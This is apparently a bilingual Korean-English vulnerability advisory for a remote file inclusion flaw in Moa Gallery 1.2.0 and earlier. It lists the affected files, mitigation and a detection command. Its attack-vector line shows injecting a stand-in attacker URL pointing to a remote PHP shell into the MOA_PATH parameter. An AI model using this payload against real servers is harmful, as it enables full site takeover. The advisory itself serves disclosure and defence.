🇰🇷 한글 설명
Moa Gallery 1.2.0 이하 버전의 MOA_PATH 매개변수를 통한 원격 파일 포함(RFI) 취약점으로, 원격 공격자가 18개의 PHP 파일에 임의의 PHP 코드를 실행할 수 있습니다. 외부 서버의 악성 PHP 파일을 로드하여 서버 완전 제어가 가능합니다.
💡 쉬운 설명
갤러리 소프트웨어에서 파일 경로를 검증하지 않아, 해커가 다른 서버의 악의적인 코드를 삽입할 수 있는 보안 구멍입니다. 웹사이트가 완전히 장악될 수 있습니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in Moa Gallery 1.2.0 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the MOA_PATH parameter to (1) _error_funcs.php, (2) _integrity_funcs.php, (3) _template_component_admin.php, (4) _template_component_gallery.php, (5) _template_parser.php, (6) mod_gallery_funcs.php, (7) mod_image_funcs.php, (8) mod_tag_funcs.php, (9) mod_tag_view.php, (10) mod_upgrade_funcs.php, (11) mod_user_funcs.php, (12) page_admin.php, (13) page_gallery_add.php, (14) page_gallery_view.php, (15) page_image_add.php, (16) page_image_view_full.php, (17) page_login.php, and (18) page_sitemap.php in sources/.
📍 영향받는 시스템
Moa Gallery 1.2.0 이하 모든 버전
⚔️ 공격 벡터
MOA_PATH 파라미터에 외부 서버 URL 주입 (예: http://attacker.com/shell.php?) → 임의의 PHP 코드 실행
🛡️ 대응 방법
Moa Gallery를 1.2.1 이상으로 업그레이드하고, 모든 파일 경로 입력값 검증 및 필터링 강화
🔧 검증 코드
파일 발견 시 해당 버전의 Moa Gallery 설치 확인. 파일 내용에서 MOA_PATH 검증 로직 부재 확인 → 취약점 존재 판단
find /var/www -name '_error_funcs.php' -o -name 'mod_gallery_funcs.php' 2>/dev/null | head -1 | xargs grep -l 'MOA_PATH' 2>/dev/null